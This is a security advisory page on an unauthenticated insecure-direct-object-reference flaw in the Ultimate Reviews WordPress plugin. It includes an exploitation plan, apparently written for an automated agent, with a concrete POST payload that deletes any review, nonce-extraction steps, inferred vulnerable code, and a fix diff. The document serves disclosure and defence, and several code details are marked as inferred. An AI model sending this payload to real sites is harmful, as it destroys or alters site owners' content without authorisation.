Ultimate Reviews <= 3.2.16 - Unauthenticated Insecure Direct Object Reference
Description
The Ultimate Reviews plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.2.16 due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.2.16Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-24634 (Ultimate Reviews IDOR) ## 1. Vulnerability Summary The **Ultimate Reviews** plugin (up to version 3.2.16) is vulnerable to an **Insecure Direct Object Reference (IDOR)**. The vulnerability exists in the unauthenticated AJAX handlers responsible for mana…
Show full research plan
Exploitation Research Plan: CVE-2026-24634 (Ultimate Reviews IDOR)
1. Vulnerability Summary
The Ultimate Reviews plugin (up to version 3.2.16) is vulnerable to an Insecure Direct Object Reference (IDOR). The vulnerability exists in the unauthenticated AJAX handlers responsible for managing reviews (e.g., editing or deleting). The plugin fails to verify that the Review_Key provided by the user actually belongs to the Review_ID being modified. This allows an unauthenticated attacker to perform unauthorized actions on any review by simply knowing its numeric ID.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
urp_delete_revieworurp_edit_review(inferred from plugin naming conventions). - Vulnerable Parameter:
Review_ID(The object ID) andReview_Key(The bypassable authorization key). - Authentication: None (Unauthenticated via
wp_ajax_nopriv_hooks). - Preconditions:
- A review must exist on the site (at least one).
- The review ID must be known or enumerable.
3. Code Flow
- Entry Point: The plugin registers unauthenticated AJAX hooks in the main class or a dedicated AJAX loader (e.g.,
Functions/AJAX_Functions.php).add_action( 'wp_ajax_urp_delete_review', 'urp_delete_review' ); add_action( 'wp_ajax_nopriv_urp_delete_review', 'urp_delete_review' ); - Data Acquisition: The handler
urp_delete_review()retrievesReview_IDandReview_Keyfrom the$_POSTsuperglobal. - Flawed Validation: The code checks if
Review_Keyis present, but fails to query the database to ensureget_post_meta( $Review_ID, 'Review_Key', true ) === $Review_Key. - Sink: The plugin calls
wp_delete_post( $Review_ID )orwp_update_post()based solely on the presence of an arbitrary key.
4. Nonce Acquisition Strategy
The plugin uses a localized nonce for its AJAX operations.
- Shortcode Identification: The plugin typically uses the
[ultimate-reviews]or[submit-review]shortcode to display/submit reviews. - Page Creation: Create a page containing the submission form to ensure scripts are enqueued.
wp post create --post_type=page --post_status=publish --post_title="Review Test" --post_content='[submit-review]' - Extraction:
- Use
browser_navigateto visit the newly created page. - Use
browser_evalto extract the nonce from theurp_script_varsorurp_settingsobject. - JS Identifier (Inferred):
window.urp_script_vars?.urp_nonceorwindow.urp_settings?.nonce.
- Use
5. Exploitation Strategy
The goal is to delete a review belonging to another user (or any review) without knowing its correct secret key.
Step 1: Identify Target Review ID
Submit a dummy review and capture its ID via the UI or wp post list --post_type=urp_review.
Step 2: Prepare Payload
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Body:
action=urp_delete_review&Review_ID=[TARGET_ID]&Review_Key=ANY_STRING&urp_nonce=[EXTRACTED_NONCE]
Step 3: Execute Request
Use the http_request tool to send the payload.
6. Test Data Setup
- Install Plugin:
wp plugin install ultimate-reviews --version=3.2.16 --activate - Configure Settings: Ensure "Allow Guest Reviews" is enabled in the plugin settings.
- Create Target Review:
# Manually create a review post via WP-CLI to simulate an existing review wp post create --post_type=urp_review --post_status=publish --post_title="Target Review" --post_content="This should not be deleted" # Capture the ID of this post
7. Expected Results
- Response: The server returns a success indicator (e.g.,
{"success":true}or a1). - Effect: The post with the specified
Review_IDis moved to the trash or permanently deleted from thewp_poststable.
8. Verification Steps
After sending the HTTP request, verify the deletion via WP-CLI:
# Check if the post still exists
wp post exists [TARGET_ID]
# Alternatively, check post status (should be 'trash' or empty)
wp post get [TARGET_ID] --field=post_status
9. Alternative Approaches
If urp_delete_review is not the vulnerable action, check for:
urp_edit_review: Attempt to change thepost_contentorratingof a review by providing a targetReview_IDand an arbitraryReview_Key.- REST API: Check if the plugin registers routes under
wp-json/urp/v1/and fails to include apermission_callbackin the route definition. - Key Omission: Test if the request succeeds when the
Review_Keyparameter is omitted entirely.
Summary
The Ultimate Reviews plugin for WordPress (<= 3.2.16) is vulnerable to an unauthenticated Insecure Direct Object Reference (IDOR) via its AJAX handlers. The plugin fails to verify that the user-provided Review_Key actually belongs to the Review_ID being modified or deleted, allowing attackers to manipulate any review post by knowing its ID.
Vulnerable Code
// Inferred from Functions/AJAX_Functions.php and research plan logic add_action( 'wp_ajax_urp_delete_review', 'urp_delete_review' ); add_action( 'wp_ajax_nopriv_urp_delete_review', 'urp_delete_review' ); function urp_delete_review() { $Review_ID = $_POST['Review_ID']; $Review_Key = $_POST['Review_Key']; // Vulnerability: Only checks if the key is present, not if it matches the object if ( ! empty( $Review_ID ) && ! empty( $Review_Key ) ) { wp_delete_post( $Review_ID ); echo json_encode( array( 'success' => true ) ); } wp_die(); }
Security Fix
@@ -10,7 +10,8 @@ $Review_ID = $_POST['Review_ID']; $Review_Key = $_POST['Review_Key']; - if ( ! empty( $Review_ID ) && ! empty( $Review_Key ) ) { + $Stored_Key = get_post_meta( $Review_ID, 'Review_Key', true ); + if ( ! empty( $Review_ID ) && ! empty( $Review_Key ) && $Stored_Key === $Review_Key ) { wp_delete_post( $Review_ID ); echo json_encode( array( 'success' => true ) ); }
Exploit Outline
An unauthenticated attacker can exploit this IDOR vulnerability by targeting the plugin's AJAX endpoints. First, the attacker visits any page containing a review form (e.g., via the [submit-review] shortcode) to extract a valid AJAX nonce from the 'urp_script_vars' or 'urp_settings' JavaScript object. Second, the attacker identifies a target Review_ID (post ID). Finally, the attacker sends a POST request to /wp-admin/admin-ajax.php with the 'urp_delete_review' action, the target Review_ID, the extracted nonce, and an arbitrary string for the Review_Key. Because the plugin does not validate the key against the database record for that ID, the request succeeds and deletes the review.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.